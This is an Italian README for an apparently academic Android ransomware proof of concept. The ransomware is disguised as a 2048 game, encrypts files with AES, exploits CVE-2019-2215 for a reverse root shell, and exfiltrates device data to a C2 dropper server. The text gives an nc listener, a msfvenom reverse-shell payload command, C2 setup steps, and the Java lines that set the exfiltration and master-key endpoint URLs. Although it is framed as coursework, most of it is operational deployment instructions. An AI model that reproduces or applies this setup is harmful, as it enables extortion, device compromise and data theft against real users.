
Sviluppo di Ransomware Android - Crittografia AES256 + CVE-2019-2215 (reverse root shell) + Esfiltrazione dei dati
Questo progetto è esclusivamente a scopo educativo. Questo progetto utilizza codice da rkshrksh/2048-Game e kangtastic/cve-2019-2215.
Questo progetto fa parte del modulo Mobile Security del Singapore Institute of Technology. Il progetto è stato realizzato in 6 settimane e l'obiettivo era sviluppare un'applicazione Android dannosa. In questo modo, ci ha aiutato a imparare come i meccanismi di sicurezza sono implementati in un sistema operativo Android e come possiamo esercitare OWASP Mobile Top 10:2017 M8 - Code Tampering.
Il progetto è una prova di concetto per mostrare un ransomware scritto su misura che utilizza la crittografia AES, sfruttando come arma cve-2019-2215 ed esfiltrando anche dati dal dispositivo infetto.
È stato testato su Android 10 e Google Pixel 2 XL.
├── 2048-Game // Android Project Folder
├── 2048-keystore // Test-Keystore
├── cve-2019-2215 // Modified cve-2019-2215
│ └── cve-2019-2215.c
├── dropper_server // Dropper server directory
│ ├── cve-2019-2215 // shells.zip content before zipping
│ ├── dropper_server.py // Dropper server program
│ ├── exfiltrated_data.log
│ ├── masterkeys.txt
│ ├── ncat.exe // Netcat windows binary - for Reverse shell listener
│ ├── requirements.txt
│ ├── shells.zip // shells.zip that is hosted in root of dropper server
│ └── venv
└── test_images // test_images for easy adb push <image.ext> /sdcard/Pictures
Per questo test, assicurarsi che il telefono vittima e il server C2 siano nella stessa sottorete (altrimenti ospitare il C2 su internet pubblico). Ci sono 3 endpoint per il server C2 che si trovano in dropper/dropper_server.py:
nc -lvnp 1337 # Ideally this should be the same IP as the dropper server
# Generate rs.elf payload
msfvenom -p linux/aarch64/shell_reverse_tcp LHOST=<Attacker IP> LPORT=<Attacker Port> -f elf > rs.elf
# Better to run flask on Windows if WSL don't port forward localhost traffic to Windows Host
cd dropper
python3 -m venv venv # Create venv
# Activate venv
. venv/bin/activate # Linux
venv\Scripts\activate.bat # Windows
pip install -r requirements.txt --upgrade pip # Make sure host shell is root/Administrator
# Run C2 server
python3 dropper_server.py # WSL
python dropper_server.py # Windows
shells.zip in /dropper
Classi Java
// File : 2048-Game/app/src/main/java/aarkay/a2048game/Temproot.java
// Change IP and port according to dropper server IP and port
String URL = "http://192.168.157.73:8080/process_command"; // Line 19
// File : 2048-Game/app/src/main/java/aarkay/a2048game/Encrypt.java
// Change IP and port according to dropper server IP and port
String URL = "http://192.168.157.73:8080/get_mk"; // Line 45
// File : 2048-Game/app/src/main/java/aarkay/a2048game/PostData.java
// Change IP and port according to dropper server IP and port
String urlString = "http://192.168.157.73:8080/postData"; // Line 32